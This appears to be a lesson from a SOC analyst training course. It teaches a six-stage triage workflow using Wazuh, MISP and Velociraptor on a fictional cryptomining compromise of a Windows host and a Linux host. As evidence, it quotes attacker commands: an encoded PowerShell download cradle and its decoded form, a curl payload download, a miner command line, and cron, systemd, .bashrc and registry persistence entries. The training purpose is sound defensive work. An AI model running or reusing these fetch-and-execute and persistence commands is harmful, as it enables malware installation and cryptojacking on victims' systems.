Endpoint Triage Workflow

The Complete Triage Pipeline

Everything you have learned in this course converges here. Module 2 taught you to read SIEM alerts. Module 5 taught you to enrich those alerts with threat intelligence. Lessons 6.1 through 6.4 taught you to investigate endpoints — processes, network connections, and persistence. Now you combine all of it into a single, repeatable workflow that takes you from a raw SIEM alert to a confident verdict.

Click to enlarge

The six stages are:

1. SIEM Alert — A detection fires in Wazuh
2. Extract Context — Pull the key fields: who, what, where, when
3. Check Intel — Search IOCs in MISP for campaign matches
4. Pivot to Endpoint — Open Velociraptor and investigate the host
5. Analyze Findings — Build a timeline, connect the evidence
6. Verdict & Action — True positive or false positive? Escalate or close

This workflow is not specific to Wazuh and Velociraptor. The same six stages apply whether your SIEM is Splunk, Elastic, or Microsoft Sentinel, and whether your EDR is CrowdStrike, Carbon Black, or SentinelOne. The tools change; the methodology does not.

Stage 1–2: From Alert to Context

The Alert Arrives

A Wazuh alert appears in your dashboard. Before you do anything else, extract the structured data that will drive every subsequent step.

Windows Alert Example — Event ID 4688 (Process Creation):

{
  "rule": { "id": "92101", "level": 12, "description": "PowerShell execution with encoded command" },
  "agent": { "name": "WIN-SERVER-01", "ip": "10.0.1.50" },
  "data": {
    "win": {
      "eventdata": {
        "newProcessName": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
        "commandLine": "powershell.exe -ep bypass -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADIAMAAuADEAMAAxAC4ANAAyAC8AcABhAHkAbABvAGEAZAAnACkA",
        "parentProcessName": "C:\\Windows\\System32\\cmd.exe",
        "subjectUserName": "svc-backup",
        "processId": "6284"
      }
    }
  },
  "timestamp": "2026-02-23T14:32:17.000Z"
}

Linux Alert Example — Auditd (Suspicious Process):

{
  "rule": { "id": "80742", "level": 10, "description": "Suspicious process execution from /tmp directory" },
  "agent": { "name": "linux-web-01", "ip": "10.0.2.30" },
  "data": {
    "audit": {
      "exe": "/tmp/.cache/update.sh",
      "key": "exec_from_tmp",
      "uid": "0",
      "comm": "bash",
      "ppid": "1",
      "pid": "28451"
    }
  },
  "timestamp": "2026-02-23T14:32:45.000Z"
}

Extract the Context

From every alert, systematically extract these fields:

This context extraction takes 30–60 seconds and drives every subsequent decision. Without it, you are investigating blind.

Immediate red flags from context alone:

• Windows: Service account (svc-backup) running PowerShell with encoded commands. Service accounts should not execute interactive shells. The Base64 decodes to a download cradle pointing to 185.220.101.42.
• Linux: Process running from /tmp/.cache/ as root with parent PID 1. Legitimate processes do not run from hidden temp directories, and PPID 1 means it was spawned by init/systemd — suggesting persistence via a service or boot script.

Stage 3: Intel Enrichment

With IOCs extracted from the alert, search your threat intelligence platform. In CyberBlueSOC, this is MISP.

IOCs to search:

From the Windows alert:

• IP: 185.220.101.42 (decoded from the Base64 command)
• Hash: SHA256 of the encoded PowerShell payload (if already on disk)

From the Linux alert:

• File path: /tmp/.cache/update.sh (hash if available)
• Any network connections from the process (check Stage 4)

MISP Search

Search each IOC in MISP. Three possible outcomes:

Match Found (HIGH confidence): The IOC appears in a recent event with high confidence. For example, 185.220.101.42 matches a CryptoMiner C2 feed published 48 hours ago, tagged tlp:amber, linked to a campaign targeting Linux and Windows servers for cryptocurrency mining.

Match Found (LOW confidence): The IOC appears in an old or low-confidence feed. Consider but do not over-weight.

No Match: Intel is silent. This does not mean the IOC is benign — it may be novel infrastructure. Proceed to endpoint investigation regardless.

Apply the intel-driven triage matrix from Module 5:

• High severity alert + intel match = ESCALATE NOW — both signals align
• High severity + no match = INVESTIGATE — could be novel threat
• Low severity + intel match = ELEVATE — intel overrides the low severity score
• Low severity + no match = ROUTINE — standard triage

In our scenario: Level 12 alert + confirmed C2 IP match = ESCALATE NOW quadrant. But we still need endpoint evidence to build the complete picture before escalating.

Stage 4–5: Endpoint Deep Dive

Now you pivot from the SIEM to the endpoint. Open Velociraptor, find the client by hostname, and run your investigation.

The Investigation Checklist

Regardless of operating system, collect evidence in this order:

1. Processes — Find the alert's process and its parent/child tree
2. Network connections — Where is the process (or host) communicating?
3. Persistence — Did the attacker install anything to survive reboot?
4. Files — Any dropped payloads, tools, or scripts?

Windows Investigation: Registry Run Key + PowerShell + C2

Step 1: Process Tree

In Velociraptor, collect Windows.System.Pslist on WIN-SERVER-01:

SELECT Pid, Name, CommandLine, Username, ParentPid, CreateTime
FROM Artifact.Windows.System.Pslist()
WHERE Name =~ "powershell|cmd"
ORDER BY CreateTime

You find:

• PID 4820: cmd.exe (parent: svc-backup session) — spawned at 14:31:52
• PID 6284: powershell.exe -ep bypass -enc ... (parent: 4820) — spawned at 14:32:17
• PID 7102: beacon.exe (parent: 6284) — spawned at 14:32:19

The chain: cmd.exe → powershell.exe → beacon.exe. The PowerShell process downloaded and executed beacon.exe.

Step 2: Network Connections

Collect Windows.Network.Netstat:

SELECT Pid, Name, FamilyString, LocalAddress, LocalPort, RemoteAddress, RemotePort, Status
FROM Artifact.Windows.Network.Netstat()
WHERE RemoteAddress != "0.0.0.0" AND RemoteAddress != "::" AND RemoteAddress != "127.0.0.1"

PID 7102 (beacon.exe) has an ESTABLISHED connection to 185.220.101.42:443. This confirms active C2 communication — the same IP flagged by MISP.

Step 3: Persistence Check

Collect Windows.Sys.StartupItems:

SELECT * FROM Artifact.Windows.Sys.StartupItems()
WHERE NOT Binary =~ "Microsoft|Windows"

Found: HKCU\Software\Microsoft\Windows\CurrentVersion\Run contains a new entry "WindowsUpdate" pointing to C:\Users\svc-backup\AppData\Local\Temp\beacon.exe. The attacker added a Run key for persistence.

Step 4: File Analysis

Collect the binary hash:

SELECT FullPath, Size, hash(path=FullPath) AS Hash
FROM glob(globs="C:\Users\svc-backup\AppData\Local\Temp\beacon.exe")

Hash the file and search in MISP/VirusTotal for additional context.

Linux Investigation: Cron Job + Bash Script + Curl Beacon

Step 1: Process Tree

In Velociraptor, collect Linux.Sys.Pslist on linux-web-01:

SELECT Pid, Name, CommandLine, Username, Ppid, CreateTime
FROM Artifact.Linux.Sys.Pslist()
WHERE CommandLine =~ "update\.sh|/tmp/|curl|wget"
ORDER BY CreateTime

You find:

• PID 28451: /bin/bash /tmp/.cache/update.sh (PPID 1, root) — spawned at 14:30:00
• PID 28455: curl -s http://185.220.101.42/payload -o /tmp/.cache/xmr (PPID 28451) — spawned at 14:30:01
• PID 28460: /tmp/.cache/xmr --donate-level 0 -o pool.minexmr.com:443 (PPID 28451) — spawned at 14:30:03

The chain: update.sh → curl (download) → xmr (crypto miner). The script downloads and executes a cryptocurrency miner.

Step 2: Network Connections

Collect Linux.Network.Netstat:

SELECT Pid, Name, Family, LocalAddr, LocalPort, RemoteAddr, RemotePort, Status
FROM Artifact.Linux.Network.Netstat()
WHERE RemoteAddr NOT IN ("0.0.0.0", "::", "127.0.0.1")

PID 28460 (xmr) has connections to 185.220.101.42:443 (C2) and pool.minexmr.com:443 (mining pool). Both confirm malicious activity.

Step 3: Persistence Check

Collect Linux.Sys.Crontab:

SELECT * FROM Artifact.Linux.Sys.Crontab()
WHERE Command =~ "/tmp/|/var/tmp/|/dev/shm"

Found: Root crontab contains */5 * * * * /tmp/.cache/update.sh >/dev/null 2>&1. The attacker installed a cron job running every 5 minutes.

Also collect Linux.Sys.Services:

SELECT * FROM Artifact.Linux.Sys.Services()
WHERE ExecStart =~ "/tmp/|/var/tmp/"

Found: system-health-monitor.service with ExecStart=/var/tmp/.fonts/xmr-stak. A second persistence mechanism via systemd.

Check shell profiles:

grep -r "nohup\|/tmp/\|update\.sh" /root/.bashrc /root/.profile

Found: (nohup /tmp/.cache/update.sh &) >/dev/null 2>&1 appended to /root/.bashrc. A third persistence mechanism via login autostart.

Three layers of persistence — cron, systemd, and shell profile. The attacker was thorough.

Step 4: File Analysis

SELECT FullPath, Size, hash(path=FullPath) AS Hash
FROM glob(globs="/tmp/.cache/**")

Files found: update.sh (downloader script), xmr (crypto miner binary). Hash both and search in threat intel.

Building the Timeline

Combine all evidence into a chronological timeline:

The timeline reveals this is a multi-host campaign affecting at least two systems, using the same C2 infrastructure for both a Windows beacon and a Linux crypto miner.

Stage 6: Verdict and Evidence Package

You have completed your investigation. The evidence is clear: True Positive — active compromise with C2 communication, crypto mining, and multi-layer persistence across two hosts.

The Evidence Package

Click to enlarge

Every escalation should include a structured evidence package. This is what you hand to L2, your team lead, or the incident response team. It should be complete enough that the recipient can act without asking you clarifying questions.

Section 1: Executive Summary

Two sentences maximum. What happened, how bad is it, what needs to happen now.

Active cryptomining campaign affecting WIN-SERVER-01 and linux-web-01. Attacker has C2 communication via 185.220.101.42, deployed crypto miner with three persistence mechanisms on Linux and a registry Run key on Windows. Recommend immediate host isolation and IR engagement.

Section 2: Alert Details

Section 3: Intel Context

Section 4: Endpoint Evidence

Summarize what Velociraptor found on each host: process trees, network connections, persistence mechanisms, dropped files. Include artifact names and VQL queries used for reproducibility.

Section 5: Timeline

The chronological timeline from the previous section — every event with source and timestamp.

Section 6: IOCs for Blocking

# Network IOCs
185.220.101.42          # C2 server
pool.minexmr.com        # Mining pool

# File IOCs
/tmp/.cache/update.sh   # Downloader script
/tmp/.cache/xmr         # Crypto miner binary
/var/tmp/.fonts/xmr-stak # Crypto miner (alternate location)
C:\Users\svc-backup\AppData\Local\Temp\beacon.exe  # Windows beacon

# Hashes
SHA256: abc123...       # beacon.exe
SHA256: def456...       # xmr binary

# Persistence Artifacts
Cron: */5 * * * * /tmp/.cache/update.sh
Service: system-health-monitor.service
Shell: /root/.bashrc nohup entry
Registry: HKCU\...\Run\WindowsUpdate

Section 7: Recommended Actions

1. Isolate WIN-SERVER-01 and linux-web-01 from the network immediately
2. Block 185.220.101.42 and pool.minexmr.com at the firewall/proxy
3. Reset credentials for svc-backup (Windows) and root (Linux)
4. Investigate initial access vector (how did the attacker get in?)
5. Sweep the fleet for the same IOCs using Velociraptor hunts
6. Remove all four persistence mechanisms after evidence collection
7. Reimage both hosts after forensic preservation

If the Verdict Is False Positive

Not every investigation ends in escalation. If your investigation shows the activity is legitimate:

1. Document why you concluded it is a false positive — be specific
2. Note the root cause (misconfigured application, sysadmin script, testing activity)
3. Recommend a tuning action (whitelist the hash, exclude the path, adjust the rule threshold)
4. Close the alert with your documentation

A well-documented false positive is almost as valuable as catching a true positive — it improves your detection rules and reduces future noise.

A Complete Walkthrough: 8 Minutes, Start to Finish

Here is the entire workflow executed in real time, demonstrating that structured methodology beats ad hoc investigation every time.

14:32 — Alert arrives. Wazuh dashboard shows two near-simultaneous alerts: encoded PowerShell on WIN-SERVER-01 and /tmp execution on linux-web-01. You click the first alert.

14:33 — Extract context. You note the hostname, IP, process, user, and timestamp for both alerts. The PowerShell alert includes a Base64-encoded command. You decode it: iex (new-object net.webclient).downloadstring('http://185.220.101.42/payload'). You now have a network IOC.

14:34 — MISP search. You search 185.220.101.42 in MISP. Match: CryptoMiner C2 campaign, high confidence, published 48 hours ago. Your triage matrix says: Level 12 + intel match = ESCALATE NOW. But you need 5 more minutes of endpoint evidence to make your escalation actionable.

14:35 — Open Velociraptor. You find linux-web-01 in the client list (it is the more active infection based on the /tmp execution). You launch Linux.Sys.Pslist and Linux.Network.Netstat collections simultaneously.

14:36 — Process tree. Results return. You see the update.sh → curl → xmr chain. The miner is connected to the mining pool. Active C2 confirmed.

14:37 — Persistence hunt. You launch Linux.Sys.Crontab, Linux.Sys.Services, and Linux.Ssh.AuthorizedKeys. Results: cron job every 5 minutes, malicious systemd service, modified .bashrc. Three persistence mechanisms.

14:38 — Windows check. You switch to WIN-SERVER-01. Quick Windows.System.Pslist and Windows.Sys.StartupItems collection. Confirm beacon.exe process and registry Run key persistence.

14:39 — Compile evidence. You fill in the evidence package template: executive summary, alert details, intel context, endpoint findings, timeline, IOCs, and recommended actions.

14:40 — Escalate. You submit the evidence package to L2/IR with a verbal heads-up: "Active crypto mining campaign, two hosts compromised, C2 confirmed, three persistence mechanisms on Linux, one on Windows. Recommending immediate isolation." Total time: 8 minutes.

Key Takeaways

What's Next

You have completed Module 6 — Endpoint Investigation. You can now investigate processes, trace network connections, enumerate persistence mechanisms, and execute a complete triage workflow from alert to escalation.

In Module 7 — Detection Engineering: YARA, you will shift from reactive investigation to proactive detection. You will learn to write YARA rules that detect the malware artifacts you found in this module — turning your investigation findings into automated detection capabilities that protect your environment before the next analyst even sees an alert.